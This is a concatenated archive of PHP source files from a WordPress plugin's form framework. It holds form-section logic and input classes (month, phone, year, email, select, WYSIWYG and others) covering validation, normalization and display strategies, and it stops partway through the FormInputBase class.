public function inputsInSubsections($name_using = 'html_name')
{
$inputs = array();
foreach ($this->subsections() as $subsection) {
if ($subsection instanceof FormInputBase) {
$key = ($name_using === 'html_name') ? $subsection->htmlName() : $subsection->name();
$inputs[ $key ] = $subsection;
} elseif ($subsection instanceof FormSection) {
$inputs += $subsection->inputsInSubsections($name_using);
}
}
return $inputs;
}
/**
* Gets a flat array of all the validation errors.
* Keys are html names (because those should be unique)
* and values are a string of all their validation errors
*
* @return string[]
*/
public function subsectionValidationErrorsByHtmlName()
{
$inputs = $this->inputs();
$errors = array();
foreach ($inputs as $form_input) {
if ($form_input instanceof FormInputBase && $form_input->getValidationErrors()) {
$errors[ $form_input->htmlName() ] = $form_input->getValidationErrorString();
}
}
return $errors;
}
/**
* Passes all the form data required by the JS to the JS, and enqueues the few required JS files.
* Should be setup by each form during the _enqueues_and_localize_form_js
*
* @throws InvalidArgumentException
*/
public static function localizeScriptForAllForms()
{
// allow inputs and stuff to hook in their JS and stuff here
do_action('AH_FormSectionProper__localize_script_for_all_forms__begin');
self::$js_localization['localized_error_messages'] = self::getLocalizedErrorMessages();
$email_validation_level = 'wp_default';
self::$js_localization['email_validation_level'] = $email_validation_level;
wp_enqueue_script('twine_form_section_validation');
wp_localize_script(
'twine_form_section_validation',
'twine_form_section_vars',
self::$js_localization
);
}
/**
* Enqueues and localizes scripts if not already done; otherwise does nothing.
*/
public function ensureScriptsLocalized()
{
if (! self::$scripts_localized) {
$this->enqueueAndLocalizeFormJs();
}
}
/**
* Gets the hard-coded validation error messages to be used in the JS. The convention
* is that the key here should be the same as the custom validation rule put in the JS file
*
* @return array keys are custom validation rules, and values are internationalized strings
*/
private static function getLocalizedErrorMessages()
{
return array(
'validUrl' => esc_html__(
'This is not a valid absolute URL. Eg, http://domain.com/monkey.jpg',
'print-my-blog'
),
'regex' => esc_html__('Please check your input', 'print-my-blog'),
);
}
/**
* @return array
*/
public static function jsLocalization()
{
return self::$js_localization;
}
/**
* @return void
*/
public static function resetJsLocalization()
{
self::$js_localization = array();
}
/**
* Gets the JS to put inside the jquery validation rules for subsection of this form section.
* See parent function for more...
*
* @return array
*/
public function getJqueryValdationRules()
{
$jquery_validation_rules = array();
foreach ($this->getValidatableSubsections() as $subsection) {
$jquery_validation_rules = array_merge(
$jquery_validation_rules,
$subsection->getJqueryValdationRules()
);
}
return $jquery_validation_rules;
}
/**
* Sanitizes all the data and sets the sanitized value of each field
*
* @param array $req_data like $_POST
* @return void
*/
protected function normalize($req_data)
{
if ($this->useNonce()) {
check_admin_referer($this->name(), $this->name() . '_nonce');
}
$this->received_submission = true;
$this->validation_errors = array();
foreach ($this->getValidatableSubsections() as $subsection) {
try {
$subsection->normalize($req_data);
} catch (ValidationError $e) {
$subsection->addValidationError($e);
}
}
}
/**
* Performs validation on this form section and its subsections.
* For each subsection,
* calls _validate_{subsection_name} on THIS form (if the function exists)
* and passes it the subsection, then calls _validate on that subsection.
* If you need to perform validation on the form as a whole (considering multiple)
* you would be best to override this _validate method,
* calling parent::_validate() first.
*/
protected function validate()
{
// reset the cache of whether this form is valid or not- we're re-validating it now
$this->is_valid = null;
foreach ($this->getValidatableSubsections() as $subsection_name => $subsection) {
if (method_exists($this, '_validate_' . $subsection_name)) {
call_user_func_array(array($this, '_validate_' . $subsection_name), array($subsection));
}
$subsection->validate();
}
}
/**
* Gets all the validated inputs for the form section
*
* @return array
* @throws ImproperUsageException
*/
public function validData()
{
$inputs = array();
foreach ($this->subsections() as $subsection_name => $subsection) {
if ($subsection instanceof FormSection) {
$inputs[ $subsection_name ] = $subsection->validData();
} elseif ($subsection instanceof FormInputBase) {
$inputs[ $subsection_name ] = $subsection->normalizedValue();
}
}
return $inputs;
}
/**
* Gets all the inputs on this form section
*
* @return FormInputBase[]
* @throws ImproperUsageException
*/
public function inputs()
{
$inputs = array();
foreach ($this->subsections() as $subsection_name => $subsection) {
if ($subsection instanceof FormInputBase) {
$inputs[ $subsection_name ] = $subsection;
}
}
return $inputs;
}
/**
* Gets all the subsections which are a proper form
*
* @return FormSection[]
* @throws ImproperUsageException
*/
public function subforms()
{
$form_sections = array();
foreach ($this->subsections() as $name => $obj) {
if ($obj instanceof FormSection) {
$form_sections[ $name ] = $obj;
}
}
return $form_sections;
}
/**
* Gets all the subsections (inputs, proper subsections, or html-only sections).
* Consider using inputs() or subforms()
* if you only want form inputs or proper form sections.
*
* @param boolean $require_construction_to_be_finalized most client code should
* leave this as TRUE so that the inputs will be properly
* configured. However, some client code may be ok with
* construction finalize being called later
* (realizing that the subsections' html names might not be
* set yet, etc.)
*
* @return FormSectionValidatable[]
* @throws ImproperUsageException
*/
public function subsections($require_construction_to_be_finalized = true)
{
if ($require_construction_to_be_finalized) {
$this->ensureConstructFinalizedCalled();
}
return $this->subsections;
}
/**
* Returns whether this form has any subforms or inputs
* @return bool
*/
public function hasSubsections()
{
return ! empty($this->subsections);
}
/**
* Returns a simple array where keys are input names, and values are their normalized
* values. (Similar to calling get_input_value on inputs)
*
* @param boolean $include_subform_inputs Whether to include inputs from subforms,
* or just this forms' direct children inputs
* @param boolean $flatten Whether to force the results into 1-dimensional array,
* or allow multidimensional array
* @return array if $flatten is TRUE it will always be a 1-dimensional array
* with array keys being input names
* (regardless of whether they are from a subsection or not),
* and if $flatten is FALSE it can be a multidimensional array
* where keys are always subsection names and values are either
* the input's normalized value, or an array like the top-level array
* @throws ImproperUsageException
*/
public function inputValues($include_subform_inputs = false, $flatten = false)
{
return $this->inputValuesList(false, $include_subform_inputs, $flatten);
}
/**
* Similar to FormSectionProper::input_values(), except this returns the 'display_value'
* of each input. On some inputs (especially radio boxes or checkboxes), the value stored
* is not necessarily the value we want to display to users. This creates an array
* where keys are the input names, and values are their display values
*
* @param boolean $include_subform_inputs Whether to include inputs from subforms,
* or just this forms' direct children inputs
* @param boolean $flatten Whether to force the results into 1-dimensional array,
* or allow multidimensional array
* @return array if $flatten is TRUE it will always be a 1-dimensional array
* with array keys being input names
* (regardless of whether they are from a subsection or not),
* and if $flatten is FALSE it can be a multidimensional array
* where keys are always subsection names and values are either
* the input's normalized value, or an array like the top-level array
* @throws ImproperUsageException
*/
public function inputPrettyValues($include_subform_inputs = false, $flatten = false)
{
return $this->inputValuesList(true, $include_subform_inputs, $flatten);
}
/**
* Gets the input values from the form
*
* @param boolean $pretty Whether to retrieve the pretty value,
* or just the normalized value
* @param boolean $include_subform_inputs Whether to include inputs from subforms,
* or just this forms' direct children inputs
* @param boolean $flatten Whether to force the results into 1-dimensional array,
* or allow multidimensional array
* @return array if $flatten is TRUE it will always be a 1-dimensional array with array keys being
* input names (regardless of whether they are from a subsection or not),
* and if $flatten is FALSE it can be a multidimensional array
* where keys are always subsection names and values are either
* the input's normalized value, or an array like the top-level array
* @throws ImproperUsageException
*/
public function inputValuesList($pretty = false, $include_subform_inputs = false, $flatten = false)
{
$input_values = array();
foreach ($this->subsections() as $subsection_name => $subsection) {
if ($subsection instanceof FormInputBase) {
$input_values[ $subsection_name ] = $pretty
? $subsection->prettyValue()
: $subsection->normalizedValue();
} elseif ($subsection instanceof FormSection && $include_subform_inputs) {
$subform_input_values = $subsection->inputValuesList(
$pretty,
$include_subform_inputs,
$flatten
);
if ($flatten) {
$input_values = array_merge($input_values, $subform_input_values);
} else {
$input_values[ $subsection_name ] = $subform_input_values;
}
}
}
return $input_values;
}
/**
* Gets the originally submitted input values from the form
*
* @param boolean $include_subforms Whether to include inputs from subforms,
* or just this forms' direct children inputs
* @return array if $flatten is TRUE it will always be a 1-dimensional array
* with array keys being input names
* (regardless of whether they are from a subsection or not),
* and if $flatten is FALSE it can be a multidimensional array
* where keys are always subsection names and values are either
* the input's normalized value, or an array like the top-level array
* @throws ImproperUsageException
*/
public function submittedValues($include_subforms = false)
{
$submitted_values = array();
foreach ($this->subsections() as $subsection) {
if ($subsection instanceof FormInputBase) {
// is this input part of an array of inputs?
if (strpos($subsection->htmlName(), '[') !== false) {
$full_input_name = Array2::convertArrayValuesToKeys(
explode(
'[',
str_replace(']', '', $subsection->htmlName())
),
$subsection->rawValue()
);
$submitted_values = array_replace_recursive($submitted_values, $full_input_name);
} else {
$submitted_values[ $subsection->htmlName() ] = $subsection->rawValue();
}
} elseif ($subsection instanceof FormSection && $include_subforms) {
$subform_input_values = $subsection->submittedValues($include_subforms);
$submitted_values = array_replace_recursive($submitted_values, $subform_input_values);
}
}
return $submitted_values;
}
/**
* Indicates whether or not this form has received a submission yet
* (ie, had receive_form_submission called on it yet)
*
* @return boolean
* @throws ImproperUsageException
*/
public function hasHeceivedSubmission()
{
$this->ensureConstructFinalizedCalled();
return $this->received_submission;
}
/**
* Equivalent to passing 'exclude' in the constructor's options array.
* Removes the listed inputs from the form
*
* @param array $inputs_to_exclude values are the input names
* @return void
*/
public function exclude(array $inputs_to_exclude = array())
{
foreach ($inputs_to_exclude as $input_to_exclude_name) {
unset($this->subsections[ $input_to_exclude_name ]);
}
}
/**
* Changes these inputs' display strategy to be HiddenDisplay.
* @param array $inputs_to_hide
* @throws \Exception
*/
public function hide(array $inputs_to_hide = array())
{
foreach ($inputs_to_hide as $input_to_hide) {
$input = $this->getInput($input_to_hide);
$input->overwriteDisplayStrategy(new HiddenDisplay());
}
}
/**
* Adds the listed subsections to the form section.
* If $subsection_name_to_target is provided,
* then new subsections are added before or after that subsection,
* otherwise to the start or end of the entire subsections array.
*
* @param FormSectionBase[] $new_subsections array of new form subsections
* where keys are their names
* @param string $subsection_name_to_target an existing for section that $new_subsections
* should be added before or after
* IF $subsection_name_to_target is null,
* then $new_subsections will be added to
* the beginning or end of the entire subsections array
* @param boolean $add_before whether to add $new_subsections, before or after
* $subsection_name_to_target,
* or if $subsection_name_to_target is null,
* before or after entire subsections array
* @return void
* @throws ImproperUsageException
*/
public function addSubsections($new_subsections, $subsection_name_to_target = null, $add_before = true)
{
foreach ($new_subsections as $subsection_name => $subsection) {
if (! $subsection instanceof FormSectionBase) {
throw new ImproperUsageException(
sprintf(
// intended for developers, translation unnecessary.
"Trying to add a %s as a subsection (it was named '%s') to the form section '%s'. It was removed.",
get_class($subsection),
$subsection_name,
$this->name()
)
);
}
}
$this->subsections = Array2::insertIntoArray(
$this->subsections,
$new_subsections,
$subsection_name_to_target,
$add_before
);
if ($this->construction_finalized) {
foreach ($this->subsections as $name => $subsection) {
$subsection->constructFinalize($this, $name);
}
}
}
/**
* Adds the specified section
* @param string $name
* @param FormSectionBase $form_section
*/
public function addSubsection($name, FormSectionBase $form_section)
{
$this->subsections[$name] = $form_section;
if ($this->construction_finalized) {
$form_section->constructFinalize($this, $name);
}
}
/**
* Remove the given subsection in this form (does not recursively search for it)
* @param string $name
*/
public function removeSubsection($name)
{
unset($this->subsections[$name]);
}
/**
* @param string $subsection_name
* @param bool $recursive
* @return bool
*/
public function hasSubsection($subsection_name, $recursive = false)
{
foreach ($this->subsections as $name => $subsection) {
if (
$name === $subsection_name
|| (
$recursive
&& $subsection instanceof FormSection
&& $subsection->hasSubsection($subsection_name, $recursive)
)
) {
return true;
}
}
return false;
}
/**
* Just gets all validatable subsections to clean their sensitive data
*/
public function cleanSensitiveData()
{
foreach ($this->getValidatableSubsections() as $subsection) {
$subsection->cleanSensitiveData();
}
}
/**
* Sets the submission error message (aka validation error message for this form section and all sub-sections)
* @param string $form_submission_error_message
*/
public function setSubmissionErrorMessage(
$form_submission_error_message = ''
) {
$this->form_submission_error_message = ! empty($form_submission_error_message)
? $form_submission_error_message
: $this->getAllValidationErrorsString();
}
/**
* Returns the cached error message. A default value is set for this during _validate(),
* (called during receive_form_submission) but it can be explicitly set using
* set_submission_error_message
*
* @return string
*/
public function submissionErrorMessage()
{
return $this->form_submission_error_message;
}
/**
* Sets a message to display if the data submitted to the form was valid.
* @param string $form_submission_success_message
*/
public function setSubmissionSuccessMessage($form_submission_success_message = '')
{
$this->form_submission_success_message = ! empty($form_submission_success_message)
? $form_submission_success_message
: esc_html__('Form submitted successfully', 'print-my-blog');
}
/**
* Gets a message appropriate for display when the form is correctly submitted
* @return string
*/
public function submissionSuccessMessage()
{
return $this->form_submission_success_message;
}
/**
* Returns the prefix that should be used on child of this form section for
* their html names. If this form section itself has a parent, prepends ITS
* prefix onto this form section's prefix. Used primarily by
* FormInputBase::_set_default_html_name_if_empty
*
* @return string
*/
public function htmlNamePrefix()
{
if ($this->parentSection() instanceof FormSection) {
return $this->parentSection()->htmlNamePrefix() . '[' . $this->name() . ']';
}
return $this->name();
}
/**
* Gets the name, but first checks _construct_finalize has been called. If not,
* calls it (assumes there is no parent and that we want the name to be whatever
* was set, which is probably nothing, or the classname)
*
* @return string
* @throws ImproperUsageException
*/
public function name()
{
$this->ensureConstructFinalizedCalled();
return parent::name();
}
/**
* @return FormSection
* @throws ImproperUsageException
*/
public function parentSection()
{
$this->ensureConstructFinalizedCalled();
return parent::parentSection();
}
/**
* Make sure construction finalized was called, otherwise children might not be ready
*
* @return void
* @throws ImproperUsageException
*/
public function ensureConstructFinalizedCalled()
{
if (! $this->construction_finalized) {
$this->constructFinalize($this->parent_section, $this->name);
}
}
/**
* Checks if any of this form section's inputs, or any of its children's inputs,
* are in teh form data. If any are found, returns true. Else false
*
* @param array $req_data
* @return boolean
* @throws ImproperUsageException
*/
public function formDataPresentIn($req_data = null)
{
$req_data = $this->getCachedRequest($req_data);
foreach ($this->subsections() as $subsection) {
if ($subsection instanceof FormInputBase) {
if ($subsection->formDataPresentIn($req_data)) {
return true;
}
} elseif ($subsection instanceof FormSection) {
if ($subsection->formDataPresentIn($req_data)) {
return true;
}
}
}
return false;
}
/**
* Gets validation errors for this form section and subsections
* Similar to FormSectionValidatable::get_validation_errors() except this
* gets the validation errors for ALL subsection
*
* @return ValidationError[]
* @throws ImproperUsageException
*/
public function getValidationErrorsAccumulated()
{
$validation_errors = $this->getValidationErrors();
foreach ($this->getValidatableSubsections() as $subsection) {
if ($subsection instanceof FormSection) {
$validation_errors_on_this_subsection = $subsection->getValidationErrorsAccumulated();
} else {
$validation_errors_on_this_subsection = $subsection->getValidationErrors();
}
if ($validation_errors_on_this_subsection) {
$validation_errors = array_merge($validation_errors, $validation_errors_on_this_subsection);
}
}
return $validation_errors;
}
/**
* Fetch validation errors from children and grandchildren and puts them in a single string.
* This traverses the form section tree to generate this, but you probably want to instead use
* get_form_submission_error_message() which is usually this message cached (or a custom validation error message)
*
* @return string
* @since 4.9.59.p
*/
protected function getAllValidationErrorsString()
{
$submission_error_messages = array();
// bad, bad, bad registrant
foreach ($this->getValidationErrorsAccumulated() as $validation_error) {
if ($validation_error instanceof ValidationError) {
$form_section = $validation_error->getFormSection();
if ($form_section instanceof FormInputBase) {
$label = $validation_error->getFormSection()->htmlLabelText();
} elseif ($form_section instanceof FormSectionValidatable) {
$label = $validation_error->getFormSection()->name();
} else {
$label = esc_html__('Unknown', 'print-my-blog');
}
$submission_error_messages[] = sprintf(
// translators: 1: input name, 2: validation error message
__('%1$s : %2$s', 'print-my-blog'),
$label,
$validation_error->getMessage()
);
}
}
return implode('<br', $submission_error_messages);
}
/**
* This isn't just the name of an input, it's a path pointing to an input. The
* path is similar to a folder path: slash (/) means to descend into a subsection,
* dot-dot-slash (../) means to ascend into the parent section.
* After a series of slashes and dot-dot-slashes, there should be the name of an input,
* which will be returned.
* Eg, if you want the related input to be conditional on a sibling input name 'foobar'
* just use 'foobar'. If you want it to be conditional on an aunt/uncle input name
* 'baz', use '../baz'. If you want it to be conditional on a cousin input,
* the child of 'baz_section' named 'baz_child', use '../baz_section/baz_child'.
* Etc
*
* @param string|false $form_section_path we accept false also because substr( '../', '../' ) = false
* @return FormSectionBase
* @throws ImproperUsageException
*/
public function findSectionFromPath($form_section_path)
{
// check if we can find the input from purely going straight up the tree
$input = parent::findSectionFromPath($form_section_path);
if ($input instanceof FormSectionBase) {
return $input;
}
$next_slash_pos = strpos($form_section_path, '/');
if ($next_slash_pos !== false) {
$child_section_name = substr($form_section_path, 0, $next_slash_pos);
$subpath = substr($form_section_path, $next_slash_pos + 1);
} else {
$child_section_name = $form_section_path;
$subpath = '';
}
$child_section = $this->getSubsection($child_section_name);
if ($child_section instanceof FormSectionBase) {
return $child_section->findSectionFromPath($subpath);
}
return null;
}
/**
* Declares whether or not to use a nonce on this form.
* Note each sub-form has an independent value for this.
* @return bool
*/
public function useNonce()
{
return $this->use_nonce;
}
}
Twine/forms/inputs/MonthInput.php 0000644 00000002316 14666776752 0013154 0 ustar 00 <?php
namespace Twine\forms\inputs;
/**
* Month_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class MonthInput extends SelectInput
{
/**
* @param bool $leading_zero
* @param array $input_settings
* @param bool $january_is_month_1 whether january should have value of 1; or it should be month 0
*/
public function __construct($leading_zero = false, $input_settings = array(), $january_is_month_1 = true)
{
$key_begin_range = $january_is_month_1 ? 1 : 0;
$key_range = range($key_begin_range, $key_begin_range + 11);
if ($leading_zero) {
array_walk($key_range, array( $this, 'zeroPad'));
}
$value_range = range(1, 12);
array_walk($value_range, array( $this, 'zeroPad'));
parent::__construct(
array_combine(
$key_range,
$value_range
),
$input_settings
);
}
/**
* Changes int 1 to 01, etc. Useful with array_walk
* @param int $input
* @param mixed $key
*/
protected function zeroPad(&$input, $key)
{
$input = str_pad($input, 2, '0', STR_PAD_LEFT);
}
}
Twine/forms/inputs/PhoneInput.php 0000644 00000001347 14666776752 0013143 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\validation\TextValidation;
/**
*
* Phone_Input
*
* Validates that the phone number is either 10 digits, or like
* 123-123-1231
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
*/
class PhoneInput extends TextInput
{
/**
* @param array $options
*/
public function __construct($options = array())
{
$this->addValidationStrategy(
new TextValidation(
__('Please enter a valid phone number. Eg 123-456-7890 or 1234567890', 'print-my-blog'),
'~^(([\d]{10})|(^[\d]{3}-[\d]{3}-[\d]{4}))$~'
)
);
parent::__construct($options);
}
}
Twine/forms/inputs/ColorInput.php 0000644 00000001222 14666776752 0013140 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Class ColorInput
* @package Twine\forms\inputs
*/
class ColorInput extends FormInputBase
{
/**
* @param array $options
*/
public function __construct($options = array())
{
$this->setDisplayStrategy(new TextInputDisplay('color'));
$this->setNormalizationStrategy(new TextNormalization());
parent::__construct($options);
$this->addValidationStrategy(new PlaintextValidation());
}
}
Twine/forms/inputs/YearInput.php 0000644 00000002036 14666776752 0012766 0 ustar 00 <?php
namespace Twine\forms\inputs;
/**
* Year_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* ------------------------------------------------------------------------
*/
class YearInput extends SelectInput
{
/**
* YearInput constructor.
* @param array $input_settings
* @param bool $four_digit_year
* @param int $years_behind
* @param int $years_ahead
*/
public function __construct(
$input_settings = array(),
$four_digit_year = true,
$years_behind = 100,
$years_ahead = 0
) {
if ($four_digit_year) {
$current_year_int = intval(gmdate('Y'));
} else {
$current_year_int = intval(gmdate('y'));
}
$answer_options = array();
for ($start = $current_year_int - $years_behind; $start <= ($current_year_int + $years_ahead); $start++) {
$answer_options[ $start ] = $start;
}
parent::__construct($answer_options, $input_settings);
}
}
Twine/forms/inputs/SelectMultipleInput.php 0000644 00000002221 14666776752 0015015 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\helpers\InputOption;
use Twine\forms\strategies\display\SelectMultipleDisplay;
use Twine\forms\strategies\validation\EnumValidation;
use Twine\forms\strategies\validation\ManyValuedValidation;
/**
* Select_Multiple_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class SelectMultipleInput extends FormInputWithOptionsBase
{
/**
* @param InputOption[] $answer_options
* @param array $input_settings
*/
public function __construct($answer_options, $input_settings = array())
{
$this->setDisplayStrategy(new SelectMultipleDisplay());
$this->addValidationStrategy(
new ManyValuedValidation(
array(
new EnumValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
),
)
)
);
$this->multiple_selections = true;
parent::__construct($answer_options, $input_settings);
}
}
Twine/forms/inputs/AdminFileUploaderInput.php 0000644 00000001444 14666776752 0015414 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\AdminFileUploaderDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\UrlValidation;
/**
* Class AdminFileUploaderInput
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class AdminFileUploaderInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new AdminFileUploaderDisplay());
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(new URLValidation());
parent::__construct($input_settings);
}
}
Twine/forms/inputs/YesNoInput.php 0000644 00000001142 14666776752 0013120 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\SingleCheckboxDisplay;
use Twine\forms\strategies\normalization\BooleanNormalization;
/**
* Yes_No_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class YesNoInput extends FormInputBase
{
/**
* @param array $options
*/
public function __construct($options = array())
{
$this->overwriteNormalizationStrategy(new BooleanNormalization());
$this->overwriteDisplayStrategy(new SingleCheckboxDisplay());
parent::__construct($options);
}
}
Twine/forms/inputs/FixedHiddenInput.php 0000644 00000001111 14666776752 0014232 0 ustar 00 <?php
namespace Twine\forms\inputs;
/**
* Fixed_HiddenInput
*
* @package Event Espresso
* @subpackage
* @author Brent Christensen
*/
class FixedHiddenInput extends HiddenInput
{
/**
* Fixed Inputs are inputs that do NOT accept user input
* therefore they will ALWAYS return the default value that was set upon their creation
* and NO normalization or sanitization will occur because the $_REQUEST value is being ignored
*
* @param array $req_data like $_POST
*/
protected function normalize($req_data)
{
}
}
Twine/forms/inputs/FormInputWithOptionsBase.php 0000644 00000014722 14666776752 0016001 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\InputOption;
use Twine\forms\strategies\normalization\BooleanNormalization;
use Twine\forms\strategies\normalization\IntNormalization;
use Twine\forms\strategies\normalization\ManyValuedNormalization;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\helpers\Array2;
/**
* FormInputWithOptionsBase
* For form inputs which are meant to only have a limit set of options that can be used
* (like for checkboxes or select dropdowns, etc; as opposed to more open-ended text boxes etc)
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
abstract class FormInputWithOptionsBase extends FormInputBase
{
/**
* Array of available options to choose as an answer
*
* @var InputOption[]
*/
protected $options = array();
/**
* Whether to display the html_label_text above the checkbox/radio button options
*
* @var boolean
*/
protected $display_html_label_text = true;
/**
* Whether to allow multiple selections (ie, the value of this input should be an array)
* or not (ie, the value should be a simple int, string, etc)
*
* @var boolean
*/
protected $multiple_selections = false;
/**
* @param InputOption[] $answer_options
* @param array $input_settings {
* @type int|string $label_size
* @type boolean $display_html_label_text
* }
* And all the options accepted by FormInputBase
*/
public function __construct($answer_options = array(), $input_settings = array())
{
if (isset($input_settings['display_html_label_text'])) {
$this->setDisplayHtmlLabelText($input_settings['display_html_label_text']);
}
$this->setSelectOptions($answer_options);
parent::__construct($input_settings);
}
/**
* Sets the allowed options for this input. Also has the side-effect of
* updating the normalization strategy to match the keys provided in the array
* @throws ImproperUsageException
* @param InputOption[] $options
*
* @return void just has the side-effect of setting the options for this input
*/
public function setSelectOptions($options = array())
{
$options = (array) $options;
foreach ($options as $option) {
if (! $option instanceof InputOption) {
throw new ImproperUsageException(
sprintf(
// translators: 1: classname, 2: classname
__('A form input of type "%1$s" was passed in an arrya of non-options. It should be given an object of type "%2$s"', 'print-my-blog'),
get_class($this),
InputOption::class
)
);
}
}
// get the first item in the select options and check it's type
$this->options = $options;
$select_option_keys = array_keys($this->options);
// attempt to determine data type for values in order to set normalization type
// purposefully only
if (
count($this->options) === 2
&& (
(in_array(true, $select_option_keys, true) && in_array(false, $select_option_keys, true))
|| (in_array(1, $select_option_keys, true) && in_array(0, $select_option_keys, true))
)
) {
// values appear to be boolean, like TRUE, FALSE, 1, 0
$normalization = new BooleanNormalization();
} else {
// are ALL the options ints (even if we're using a multi-dimensional array)? If so use int validation
$all_ints = true;
array_walk_recursive(
$this->options,
function ($value, $key) use (&$all_ints) {
// is this a top-level key? ignore it
if (
! is_array($value)
&& ! is_int($key)
&& $key !== ''
&& $key !== null
) {
$all_ints = false;
}
}
);
if ($all_ints) {
$normalization = new IntNormalization();
} else {
$normalization = new TextNormalization();
}
}
// does input type have multiple options ?
if ($this->multiple_selections) {
$this->setNormalizationStrategy(new ManyValuedNormalization($normalization));
} else {
$this->setNormalizationStrategy($normalization);
}
}
/**
* Removes the option with this value
* @param string $option_name
*/
public function removeOption($option_name)
{
unset($this->options[$option_name]);
}
/**
* @return InputOption[]
*/
public function options()
{
return $this->options;
}
/**
* Returns an array which is guaranteed to not be multidimensional
*
* @return array
*/
public function flatOptions()
{
return $this->options();
}
/**
* Returns the pretty value for the normalized value
*
* @return string
*/
public function prettyValue()
{
$options = $this->flatOptions();
$unnormalized_value_choices = $this->getNormalizationStrategy()->unnormalize($this->normalized_value);
if (! $this->multiple_selections) {
$unnormalized_value_choices = array($unnormalized_value_choices);
}
$pretty_strings = array();
foreach ((array)$unnormalized_value_choices as $unnormalized_value_choice) {
if (isset($options[$unnormalized_value_choice])) {
$pretty_strings[] = (string)$options[$unnormalized_value_choice];
} else {
$pretty_strings[] = $this->normalizedValue();
}
}
return implode(', ', $pretty_strings);
}
/**
* @return boolean
*/
public function displayHtmlLabelText()
{
return $this->display_html_label_text;
}
/**
* @param boolean $display_html_label_text
*/
public function setDisplayHtmlLabelText($display_html_label_text)
{
$this->display_html_label_text = filter_var($display_html_label_text, FILTER_VALIDATE_BOOLEAN);
}
}
Twine/forms/inputs/SubmitInput.php 0000644 00000001655 14666776752 0013337 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\SubmitInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* SubmitInput
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* This input has a default validation strategy of plaintext (which can be removed after construction)
*/
class SubmitInput extends FormInputBase
{
/**
* @param array $options
*/
public function __construct($options = array())
{
if (empty($options['default'])) {
$options['default'] = esc_html__('Submit', 'print-my-blog');
}
$this->setDisplayStrategy(new SubmitInputDisplay());
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(new PlaintextValidation());
parent::__construct($options);
}
}
Twine/forms/inputs/WysiwygInput.php 0000644 00000001674 14666776752 0013557 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextAreaDisplay;
use Twine\forms\strategies\display\WysiwygDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\FullHtmlValidation;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Text_Area
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* This input has a default validation strategy of plaintext (which can be removed after construction)
*/
class WysiwygInput extends TextAreaInput
{
/**
* @param array $options_array
*/
public function __construct($options_array = array())
{
$this->setDisplayStrategy(new WysiwygDisplay());
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(
new FullHtmlValidation()
);
parent::__construct($options_array);
}
}
Twine/forms/inputs/EmailInput.php 0000644 00000001724 14666776752 0013120 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\EmailValidation;
/**
* Email_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class EmailInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new TextInputDisplay('email'));
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(
new EmailValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
parent::__construct($input_settings);
$this->setHtmlClass($this->htmlClass() . ' email');
}
}
Twine/forms/inputs/FormInputBase.php 0000644 00000074761 14666776752 0013602 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\base\FormSection;
use Twine\forms\base\FormSectionValidatable;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\ValidationError;
use Twine\forms\strategies\display\DisplayBase;
use Twine\forms\strategies\normalization\NormalizationBase;
use Twine\forms\strategies\normalization\NullNormalization;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\RequiredValidation;
use Twine\forms\strategies\validation\ValidationBase;
/**
* FormInputBase
* For representing a single form input. Extends FormSectionBase because
* it is a part of a form and shares a surprisingly large amount of functionality
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
abstract class FormInputBase extends FormSectionValidatable
{
/**
* The input's name attribute
*
* @var string
*/
protected $html_name;
/**
* ID for the html label tag
*
* @var string
*/
protected $html_label_id;
/**
* Class for teh html label tag
*
* @var string
*/
protected $html_label_class;
/**
* Style for teh html label tag
*
* @var string
*/
protected $html_label_style;
/**
* Text to be placed in the html label
*
* @var string
*/
protected $html_label_text;
/**
* The full html label. If used, all other html_label_* properties are invalid
*
* @var string
*/
protected $html_label;
/**
* HTML to use for help text (normally placed below form input), in a span which normally
* has a class of 'description'
*
* @var string
*/
protected $html_help_text;
/**
* CSS classes for displaying the help span
*
* @var string
*/
